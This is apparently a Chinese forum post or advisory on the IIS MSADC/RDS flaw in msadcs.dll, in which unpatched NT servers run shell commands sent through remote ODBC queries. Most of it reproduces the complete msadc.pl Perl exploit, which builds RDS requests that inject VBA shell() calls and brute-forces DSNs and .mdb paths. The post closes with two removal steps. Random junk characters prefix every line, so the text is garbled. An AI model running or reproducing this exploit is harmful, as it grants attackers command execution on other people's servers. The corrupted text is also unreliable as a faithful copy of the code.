IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
zZP/ C
lBa` nG 涉及程序：
z`p9vlS[ Microsoft NT server
$R+rB;=a! <AK9HPxP 描述：
.Hk.'>YR 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
R7K V
@ n $<"I*l@ 详细：
0M?zotv0# 如果你没有时间读详细内容的话，就删除:
o' v!83$L c:\Program Files\Common Files\System\Msadc\msadcs.dll
yivWT;` 有关的安全问题就没有了。
~SmFDg$/m ZUvc|5] 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
7 fXJP5j /x4L,UJ= P 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
p 16+(m 关于利用ODBC远程漏洞的描述，请参看:
+D O<M1uE \#IKirf? http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm @}Q!K* U FC^ lv 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
X\>/'fC$ http://www.microsoft.com/security/bulletins/MS99-025faq.asp qz.l U$S{j&? 这里不再论述。
g1:%986jv H7k@Br 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
G_zK .N ZAn9A>5_ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
t/3HX]B_ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
J#q^CWN3R ,gM:s}l!dJ YQWq*o^: #将下面这段保存为txt文件，然后: "perl -x 文件名"
,6o tm @sW!g;\T #!perl
PIdGis5G #
<;uM/vS i # MSADC/RDS 'usage' (aka exploit) script
?b" 'w #
A-J# $B # by rain.forest.puppy
OJh MM- #
awjAv8tPO! # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
}Oqt=W m # beta test and find errors!
4Xww(5?3 `m #i|8 use Socket; use Getopt::Std;
gf>GK/^HH getopts("e:vd:h:XR", \%args);
'=eVem= f J6Q:7 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
REh\WgV!u URt+MTU[ if (!defined $args{h} && !defined $args{R}) {
V F b print qq~
S]Di1E^r;_ Usage: msadc.pl -h <host> { -d <delay> -X -v }
U3{4GmrT -h <host> = host you want to scan (ip or domain)
_/u(: -d <seconds> = delay between calls, default 1 second
[=tI gMmz -X = dump Index Server path table, if available
{[hgSVN ; -v = verbose
`U|zNizO -e = external dictionary file for step 5
0cVxP)J+ mIPDF1= ) Or a -R will resume a command session
{+[ Ex2b$ j(}pUV B ~; exit;}
WF_QhKW|k
Mz+vT0 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
)vpYV r- if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
cd=K=P}p if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
rq Uk_|Xa if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Pc7p2 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
a*:GCGe if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
%NTJih ` O%6D2d if (!defined $args{R}){ $ret = &has_msadc;
u } +?'B) die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
xE$lx:C"FU K-K>'T9F} print "Please type the NT commandline you want to run (cmd /c assumed):\n"
fVVD}GM= . "cmd /c ";
t OxH 9 $in=<STDIN>; chomp $in;
d 0& $command="cmd /c " . $in ;
mahNQ5 W*) )heHERbJ if (defined $args{R}) {&load; exit;}
,}"jiGgS4 @ &Od1X print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
MJCz %zK &try_btcustmr;
ZLdIEBi= uu"hu||0_ print "\nStep 2: Trying to make our own DSN...";
l N0u1)'2 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
8R-;cBT 3+vVdvu% print "\nStep 3: Trying known DSNs...";
bI_MF/r'' &known_dsn;
@; I9e #!%zf{(C+ print "\nStep 4: Trying known .mdbs...";
M4CC&?6\ &known_mdb;
^dsj1#3z ^ zS ;/% if (defined $args{e}){
Bu+?N%CBi print "\nStep 5: Trying dictionary of DSN names...";
L6;'V5Mg72 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Ta/ u&t4 *"4l}& print "Sorry Charley...maybe next time?\n";
pU[yr'D.r exit;
y$_]}<b , nGQVb ##############################################################################
TtKKU4 yp ez)Ks` sub sendraw { # ripped and modded from whisker
5tzO=g O[ sleep($delay); # it's a DoS on the server! At least on mine...
<`NsX
6t my ($pstr)=@_;
5h Dy62PRr socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
[N}QCy die("Socket problems\n");
25j\p { * if(connect(S,pack "SnA4x8",2,80,$target)){
lC ,~_Yb select(S); $|=1;
6`bR'
0D print $pstr; my @in=<S>;
]*Q,~uV^| select(STDOUT); close(S);
u8`S*i/)m return @in;
H* +7{;$ } else { die("Can't connect...\n"); }}
VZ y$ 0* n}fV$qu ##############################################################################
yy&L& v' K5\l
(BB sub make_header { # make the HTTP request
^U96p0H"T my $msadc=<<EOT
I0=L_&`) POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
oA7 | s1 User-Agent: ACTIVEDATA
N
7 Y X Host: $ip
b!`Ze~V Content-Length: $clen
U~t!
Connection: Keep-Alive
]VE3u _kR 53pT{2]zAi ADCClientVersion:01.06
s.n:;8RibP Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
79-5 0}A x; -D}# --!ADM!ROX!YOUR!WORLD!
}UQ,B Content-Type: application/x-varg
!c-MC| Content-Length: $reqlen
j]]5&u/l n2Mpo\2 EOT
pG"h ZB3) ; $msadc=~s/\n/\r\n/g;
AZA5>Y return $msadc;}
J #t8x L Z,81L3#6 ##############################################################################
T!HAE#xC :nc%:z=O sub make_req { # make the RDS request
"r3h+(5 my ($switch, $p1, $p2)=@_;
3 bjCa\ " my $req=""; my $t1, $t2, $query, $dsn;
2V u?Y fX6pW%Q'6 if ($switch==1){ # this is the btcustmr.mdb query
m\bmBK"I $query="Select * from Customers where City=" . make_shell();
H{Lt,# $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
RAws{<6T- $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
}[MkJ21! csxn" Dz\ elsif ($switch==2){ # this is general make table query
-S&9"=v $query="create table AZZ (B int, C varchar(10))";
a1u4v/Qu9 $dsn="$p1";}
mH5>50H; ^tWSu?9 elsif ($switch==3){ # this is general exploit table query
6d2e WS $query="select * from AZZ where C=" . make_shell();
*.+F]- $dsn="$p1";}
i[{*(Y$L >;%QW elsif ($switch==4){ # attempt to hork file info from index server
lA;^c) $query="select path from scope()";
>K1e= S Y $dsn="Provider=MSIDXS;";}
VGu(HB8n# .;.Zbhm elsif ($switch==5){ # bad query
p=Le oc 1 $query="select";
4xg1[Z%: $dsn="$p1";}
pF8:?p['z * LWihal $t1= make_unicode($query);
p>:.js5.a $t2= make_unicode($dsn);
(n jTS+? $req = "\x02\x00\x03\x00";
4;gw&sFF $req.= "\x08\x00" . pack ("S1", length($t1));
ggYi 7Wzsd $req.= "\x00\x00" . $t1 ;
8}4.x3uw $req.= "\x08\x00" . pack ("S1", length($t2));
= MD)F $req.= "\x00\x00" . $t2 ;
PxvxZJf$@ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
e^\#DDm return $req;}
:,j^ei b9 li ##############################################################################
<w8H[y"c Im H 9 F\ sub make_shell { # this makes the shell() statement
N2k{@DY return "'|shell(\"$command\")|'";}
A )CsF X*d!A
>s ##############################################################################
9f5~hBlo LmJ _$?o sub make_unicode { # quick little function to convert to unicode
O:RN4 /17 my ($in)=@_; my $out;
) =x4+)9 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
589fr"Ma,6 return $out;}
[fb9;,x` px+]/P <dX ##############################################################################
,@ f |t& W$J.B!O sub rdo_success { # checks for RDO return success (this is kludge)
h^`@%g9 S my (@in) = @_; my $base=content_start(@in);
MBKF8b'k if($in[$base]=~/multipart\/mixed/){
kApD D[ N return 1 if( $in[$base+10]=~/^\x09\x00/ );}
8oR q3 " return 0;}
ui|6ih$+ T?=]&9Y' ##############################################################################
d7zZ~n b E4 0^e sub make_dsn { # this makes a DSN for us
In!^ +j my @drives=("c","d","e","f");
b].U/=Hs print "\nMaking DSN: ";
Zp6VH foreach $drive (@drives) {
eWD!/y r| print "$drive: ";
/l3Oi@\
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
p } eO "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
"[7'i<,AI . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
\VW":+ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
g /P1lQ) return 0 if $2 eq "404"; # not found/doesn't exist
*`/4KMrq if($2 eq "200") {
\9od*y foreach $line (@results) {
U7f
o4y1} return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
_+7P" B|\ } return 0;}
g}a+%Obb OPqhdqo ##############################################################################
$*P + XbFo#Pwk sub verify_exists {
@ptrF
pSL my ($page)=@_;
9(vp`Z8B4 my @results=sendraw("GET $page HTTP/1.0\n\n");
EQZ/v gho return $results[0];}
.RmoO\
,Gm n-qle5s j ##############################################################################
3!QXzT$E Xa$%`
sub try_btcustmr {
)-}<}< oO my @drives=("c","d","e","f");
!O'p{dj][ my @dirs=("winnt","winnt35","winnt351","win","windows");
JnnxXj30, o:
> (Tv foreach $dir (@dirs) {
U-f8 D print "$dir -> "; # fun status so you can see progress
EqIs&){ foreach $drive (@drives) {
O~ x{p,s
U print "$drive: "; # ditto
;<E?NBV^ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
6Iz!_ $reqlenlen=length( "$reqlen" );
pI>GusXg $clen= 206 + $reqlenlen + $reqlen;
\Ov~ t c5O8,sT my @results=sendraw(make_header() . make_req(1,$drive,$dir));
7X> @r"9< if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
X`eX +9 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
8(S|=c R Ep') @7^n ##############################################################################
bun_R- $ >].;y?$ sub odbc_error {
QAZs1;lU my (@in)=@_; my $base;
]2iIk=r$ my $base = content_start(@in);
Y( K`3? A if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
55y{9.n* $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
- JFW ,8=8 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
>Kl_948
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
aE"dpY Q return $in[$base+4].$in[$base+5].$in[$base+6];}
=i7CF3 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
16.? 4 5 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
>Apa^Bp $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
dI=&gz zqI |VH ##############################################################################
7/Bj WU5* I!K-*
AB sub verbose {
o4z|XhLr my ($in)=@_;
0XyPG return if !$verbose;
[E2".F3 print STDOUT "\n$in\n";}
Ualw K {%, 4P_m ##############################################################################
PtL8Kd0`C i-dosY`81 sub save {
YX3NZW2i my ($p1, $p2, $p3, $p4)=@_;
BuC\Bd^0 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
L"jj D: print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
r ]~]-VZ/ close OUT;}
s(L!]d.S$y Bw[IW[(~! ##############################################################################
c5i7mx:. XZ(<Mo \v sub load {
jr-9 KxE my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
e-lc2$o7{ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
|B^Picu @p=<IN>; close(IN);
ke/4l?zs $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
4)L};B= $target= inet_aton($ip) || die("inet_aton problems");
PBiA/dG[; print "Resuming to $ip ...";
FS('*w&bP $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
~ySsv if($p[1]==1) {
ZR{YpLFQ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
j``Ku@/x0 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
~Q]::
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
lC
d\nE8G if (rdo_success(@results)){print "Success!\n";}
a ^O>i#i else { print "failed\n"; verbose(odbc_error(@results));}}
^ b= ; elsif ($p[1]==3){
yRQNmR;Uy if(run_query("$p[3]")){
#}tdA(
- print "Success!\n";} else { print "failed\n"; }}
dWhqu68_ elsif ($p[1]==4){
h OdU% if(run_query($drvst . "$p[3]")){
2G3 Hi;q18 print "Success!\n"; } else { print "failed\n"; }}
Wm)I d_ exit;}
I: MrX uOd1:\%* ##############################################################################
Ak O-PL a,fcR< sub create_table {
yaHkWkl
= my ($in)=@_;
qB` %+<)C $reqlen=length( make_req(2,$in,"") ) - 28;
- | =) $reqlenlen=length( "$reqlen" );
-`t9@1P>
= $clen= 206 + $reqlenlen + $reqlen;
sdgI , my @results=sendraw(make_header() . make_req(2,$in,""));
Az>r}*F Gr return 1 if rdo_success(@results);
`P*w ZKlW my $temp= odbc_error(@results); verbose($temp);
: 'jVA return 1 if $temp=~/Table 'AZZ' already exists/;
87+u` ~ return 0;}
Dx9k%G)! PklJU:Pu\U ##############################################################################
d9T:0A`M aH, NS
sub known_dsn {
%[ o($a$ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
'#QZhz(+ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
q+w] Xs; "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
fM*aZc*Y "banner", "banners", "ads", "ADCDemo", "ADCTest");
)M7~RN <9;X1XtpI foreach $dSn (@dsns) {
Ngm/ 5 Lc print ".";
z38Pi next if (!is_access("DSN=$dSn"));
s)sT\crP@ if(create_table("DSN=$dSn")){
[DtMT6 F3 print "$dSn successful\n";
oj ,;9{- if(run_query("DSN=$dSn")){
z 5~X3k7 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
$lUz!m jG print "Something's borked. Use verbose next time\n";}}} print "\n";}
|F q\%y# k#p6QA hS ##############################################################################
'RV wxd A43[i@o sub is_access {
1gLET.I: my ($in)=@_;
'BVI ^H4 $reqlen=length( make_req(5,$in,"") ) - 28;
5T'v iG}% $reqlenlen=length( "$reqlen" );
`+ UBl\j $clen= 206 + $reqlenlen + $reqlen;
,}I m^~5 my @results=sendraw(make_header() . make_req(5,$in,""));
|n(b>.X my $temp= odbc_error(@results);
#!r>3W& verbose($temp); return 1 if ($temp=~/Microsoft Access/);
/c7jL4oD return 0;}
(^<skx> V[7D4r.j ##############################################################################
A\.{(,;kp I3}I7oc_ sub run_query {
[Qqss8 a my ($in)=@_;
Qv8 =CnuOT $reqlen=length( make_req(3,$in,"") ) - 28;
W{ZJ^QAq/ $reqlenlen=length( "$reqlen" );
C2DAsSw $clen= 206 + $reqlenlen + $reqlen;
GAh\ 6ul my @results=sendraw(make_header() . make_req(3,$in,""));
H8Z |gq1r return 1 if rdo_success(@results);
&nY#G HB my $temp= odbc_error(@results); verbose($temp);
B?
XK;*]) return 0;}
oS_YQOoD C7&L9k~jf ##############################################################################
&.Yu%=} #X?E#^6?E sub known_mdb {
~ D/1U)kt my @drives=("c","d","e","f","g");
v <| iN# my @dirs=("winnt","winnt35","winnt351","win","windows");
1Z_ H% ( my $dir, $drive, $mdb;
-"bC[ WN my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
pE.T G4 r8o^8 . # this is sparse, because I don't know of many
<anU#bEuQ my @sysmdbs=( "\\catroot\\icatalog.mdb",
i3$pqNe "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
@CC
6 ` D "\\system32\\certmdb.mdb",
\e%%ik,< "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
]BmnE#n&
CUaL my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
SJsbuLxR "\\cfusion\\cfapps\\forums\\forums_.mdb",
jRW@ $ <mG "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
m;>:mwU "\\cfusion\\cfapps\\security\\realm_.mdb",
D\pX@Sx,v[ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
V7
hO} "\\cfusion\\database\\cfexamples.mdb",
DJ!pZUO{ "\\cfusion\\database\\cfsnippets.mdb",
(:}}p}u "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
lKS 2OOYC` "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Yv"B-oy "\\cfusion\\brighttiger\\database\\cleam.mdb",
NK%Ok "\\cfusion\\database\\smpolicy.mdb",
FbW$H ]C$ "\\cfusion\\database\cypress.mdb",
;i ?R+T "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
~/2 OK!M "\\website\\cgi-win\\dbsample.mdb",
B}N1}i+
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
r( zn1;zl "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
t&_X{!1X"w ); #these are just
&(|x-OT foreach $drive (@drives) {
G P`sOPr foreach $dir (@dirs){
Ejy o
oO45 foreach $mdb (@sysmdbs) {
n6C!5zq7U print ".";
9aKO||i, if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
/2 $d'e print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
p>W@h*[6w if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
?& VKZSo
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
9N6 \Ou~ } else { print "Something's borked. Use verbose next time\n"; }}}}}
)C rsm& [?2,(X0yh1 foreach $drive (@drives) {
KfQR(e9n foreach $mdb (@mdbs) {
$JiypX^DOP print ".";
Yt=2HJ Y if(create_table($drv . $drive . $dir . $mdb)){
.P ??N print "\n" . $drive . $dir . $mdb . " successful\n";
8,&Y\b`.. if(run_query($drv . $drive . $dir . $mdb)){
C8}
;, print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
| vxmgX) } else { print "Something's borked. Use verbose next time\n"; }}}}
bfK4ps}m* }
.k|\xR FRayB VHL ##############################################################################
cV4Y=
& Fn{Pmo*rs sub hork_idx {
lZ )
qV!< print "\nAttempting to dump Index Server tables...\n";
}|Bs|$q print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
:b;`.`@KL_ $reqlen=length( make_req(4,"","") ) - 28;
zqp>Xw $reqlenlen=length( "$reqlen" );
EWOa2^%}Z\ $clen= 206 + $reqlenlen + $reqlen;
vXG?8Q my @results=sendraw2(make_header() . make_req(4,"",""));
X u|2@ ?l9 if (rdo_success(@results)){
*dsI>4%m my $max=@results; my $c; my %d;
XaMsIyhI for($c=19; $c<$max; $c++){
;f}
']2 $results[$c]=~s/\x00//g;
!mUO/6Q hq $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
4AKPS&k; $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
<@Y`RqV + $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
eAG)+b $d{"$1$2"}="";}
f5/ s+H! foreach $c (keys %d){ print "$c\n"; }
as[! 9tB] } else {print "Index server doesn't seem to be installed.\n"; }}
p+b$jKWQ Hk=HO|&<XB ##############################################################################
r4b-.>w S7~HBgS< sub dsn_dict {
}eveNPB{5 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
>G As&\4hs while(<IN>){
9 q\_UbF $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
al7D3J next if (!is_access("DSN=$dSn"));
>qd=lm <, if(create_table("DSN=$dSn")){
buhbUmQ2 print "$dSn successful\n";
Q&/WVRD if(run_query("DSN=$dSn")){
i4&V+h" print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
]<C]& 03)) print "Something's borked. Use verbose next time\n";}}}
1Afy$It /{ print "\n"; close(IN);}
j}6h}E&dEr V~ do6[( ##############################################################################
f85~[3
J n+ k,:O5 sub sendraw2 { # ripped and modded from whisker
Z{?T1 =n sleep($delay); # it's a DoS on the server! At least on mine...
>=.3Vydi1 my ($pstr)=@_;
aP
B4!3W socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
{xh5s<uOj die("Socket problems\n");
)mjGHq 2 if(connect(S,pack "SnA4x8",2,80,$target)){
h67{qY[J[ print "Connected. Getting data";
t=fP ^bJ open(OUT,">raw.out"); my @in;
:@- .whj select(S); $|=1; print $pstr;
@ 'U`a4 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
6 X bf3So close(OUT); select(STDOUT); close(S); return @in;
=r3g:j/>q } else { die("Can't connect...\n"); }}
Oz)/KZ l r@w 1* ##############################################################################
VCvf'$4(X ES8(:5 sub content_start { # this will take in the server headers
SwM=?< my (@in)=@_; my $c;
%P:|B:\< for ($c=1;$c<500;$c++) {
[ 6Sk>j if($in[$c] =~/^\x0d\x0a/){
vG\
b ` if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
@jrxbo;5 else { return $c+1; }}}
^ )C# return -1;} # it should never get here actually
*vq75k$7 7zIf sb ##############################################################################
eBY/Y6 R y9w,Su2 sub funky {
}w8yYI my (@in)=@_; my $error=odbc_error(@in);
zL'S5'<F| if($error=~/ADO could not find the specified provider/){
N>1 d]DrQR print "\nServer returned an ADO miscofiguration message\nAborting.\n";
ef/43+F^x exit;}
1/K1e$ r if($error=~/A Handler is required/){
2<:dA >1 print "\nServer has custom handler filters (they most likely are patched)\n";
!YZKa- exit;}
Z'Pe%}3 if($error=~/specified Handler has denied Access/){
#rNc+ print "\nServer has custom handler filters (they most likely are patched)\n";
UT[{NltH exit;}}
$xcZ{C ;'
H\s ##############################################################################
[JV?Mdzu S\!vDtD@ sub has_msadc {
]q4(%Q my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
VE }r'MBk my $base=content_start(@results);
r 3KNRr@ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
ai; Q,Vy return 0;}
Qqk(,1u iSg0 X8J) ########################
Q{an[9To~P T8x8TN" 1kR. .p<" 解决方案：
IM5[O}aq 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
g:GywX W 2、移除web 目录: /msadc
